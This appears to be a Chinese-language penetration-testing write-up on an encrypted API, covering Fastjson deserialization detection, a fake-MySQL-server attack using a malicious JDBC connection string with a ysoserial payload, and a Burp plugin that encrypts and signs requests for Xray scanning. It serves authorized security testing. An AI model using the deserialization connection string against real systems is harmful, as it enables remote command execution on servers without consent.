记某次接口加密测试
字数 1755 2025-08-25 22:59:09
接口加密测试与Burp插件开发实战教程
0x00 前言
本教程将详细介绍如何进行接口加密测试,包括Fastjson漏洞利用、Burp插件开发以及自动化测试流程搭建。教程基于实际项目经验,适用于安全测试人员、渗透测试工程师和安全研究人员。
0x01 Fastjson漏洞利用
1. Fastjson漏洞识别
- 版本检测:检查目标系统使用的Fastjson版本,1.2.58及以下版本存在多个高危漏洞
- POC验证:使用DNSLog快速验证漏洞存在性
- 构造恶意JSON数据触发DNS查询
- 观察DNSLog平台是否收到请求
2. MySQL连接器利用
-
搭建Fake MySQL Server:
- 使用开源项目:https://github.com/fnmsd/MySQL_Fake_Server
- 配置恶意MySQL服务监听3306端口
-
构造恶意连接字符串:
mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
autoDeserialize=true:启用自动反序列化queryInterceptors:指定恶意拦截器user:使用ysoserial生成的payload
- 利用效果:
- 目标系统连接恶意MySQL服务
- 触发反序列化漏洞执行任意命令
0x02 Burp插件开发
1. 分析目标加密机制
-
加密流程:
- 使用Fastjson序列化参数对象为JSON字符串
- 使用AES加密JSON字符串作为
data参数值 - 使用RSA私钥签名生成
sign参数值 - 提交
application/x-www-form-urlencoded格式请求
-
关键代码分析:
// 序列化
String jsonStr = JSON.toJSONString(commonApplyDto);
// AES加密
String encryptedData = AESUtil.encrypt(jsonStr, aesKey);
// RSA签名
String sign = RSAUtil.sign(encryptedData, privateKey);
2. 开发Burp加密插件
-
基于现有插件修改:
- 使用chunked编码插件作为模板:https://github.com/c0ny1/chunked-coding-converter
- 修改数据处理逻辑实现自动加密
-
插件核心功能:
- 自动将请求体JSON数据进行AES加密
- 使用硬编码RSA私钥生成签名
- 自动修改Content-Type为
application/x-www-form-urlencoded
-
关键代码实现:
// 加密处理流程
public byte[] processHttpMessage(byte[] request) {
// 1. 提取原始JSON数据
String jsonBody = extractJsonBody(request);
// 2. AES加密
String encryptedData = AES.encrypt(jsonBody, AES_KEY);
// 3. RSA签名
String sign = RSA.sign(encryptedData, PRIVATE_KEY);
// 4. 构建新请求体
String newBody = "data=" + URLEncoder.encode(encryptedData) +
"&sign=" + URLEncoder.encode(sign);
// 5. 修改Content-Type
return modifyRequest(request, newBody, "application/x-www-form-urlencoded");
}
- 插件部署:
- 编译打包为Jar文件
- 在BurpSuite中加载插件
- 配置自动加密功能
0x03 自动化测试流程搭建
1. 测试架构设计
BurpSuite1 (构造请求) → Xray (漏洞扫描) → BurpSuite2 (自动加密) → 目标服务器
2. Content-Type处理方案
-
问题描述:
- Xray需要
application/json才能正确解析JSON参数 - 目标服务器需要
application/x-www-form-urlencoded
- Xray需要
-
解决方案:
- 在Burp插件中添加Content-Type转换逻辑
- 处理流程:
- BurpSuite1使用
application/json发送请求 - Xray正常解析JSON参数进行扫描
- BurpSuite2插件将Content-Type改为
application/x-www-form-urlencoded - 同时完成数据加密和签名
- BurpSuite1使用
3. 联动测试配置
-
BurpSuite1配置:
- 正常构造JSON格式测试用例
- 转发请求到Xray监听端口
-
Xray配置:
- 启用被动扫描模式
- 配置上游代理为BurpSuite2
-
BurpSuite2配置:
- 加载加密插件
- 启用自动加密功能
- 将请求发送到目标服务器
0x04 总结与最佳实践
1. Fastjson漏洞利用要点
- 快速验证:使用DNSLog减少对目标的影响
- 利用链选择:根据目标环境选择合适的ysoserial payload
- 回连方式:考虑使用反连平台接收命令执行结果
2. Burp插件开发经验
- 代码复用:基于现有插件修改提高开发效率
- 配置灵活性:支持硬编码密钥和文件加载两种方式
- 调试技巧:使用Burp的日志输出功能调试插件
3. 自动化测试建议
- 测试流程:先手动验证少量接口,再扩展为自动化测试
- 异常处理:插件应妥善处理加密失败等异常情况
- 性能考虑:加密操作可能影响测试速度,适当优化
4. 扩展应用
- 本方案可适用于其他加密接口测试场景
- 可扩展支持多种加密算法和签名方式
- 可集成更多自动化测试工具形成完整测试链
附录:关键代码片段
AES加密实现
public class AESUtil {
private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/ECB/PKCS5Padding";
public static String encrypt(String data, String key) throws Exception {
SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(), ALGORITHM);
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
byte[] encrypted = cipher.doFinal(data.getBytes());
return Base64.getEncoder().encodeToString(encrypted);
}
}
RSA签名实现
public class RSAUtil {
public static String sign(String data, PrivateKey privateKey) throws Exception {
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initSign(privateKey);
signature.update(data.getBytes());
byte[] signed = signature.sign();
return Base64.getEncoder().encodeToString(signed);
}
public static PrivateKey getPemKey() throws Exception {
String privateKeyPEM = "-----BEGIN PRIVATE KEY-----\n" +
"MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQ...\n" +
"-----END PRIVATE KEY-----";
// PEM解析代码...
return privateKey;
}
}
通过本教程,您将掌握接口加密测试的全套技术栈,能够独立完成从漏洞发现到自动化测试的完整流程。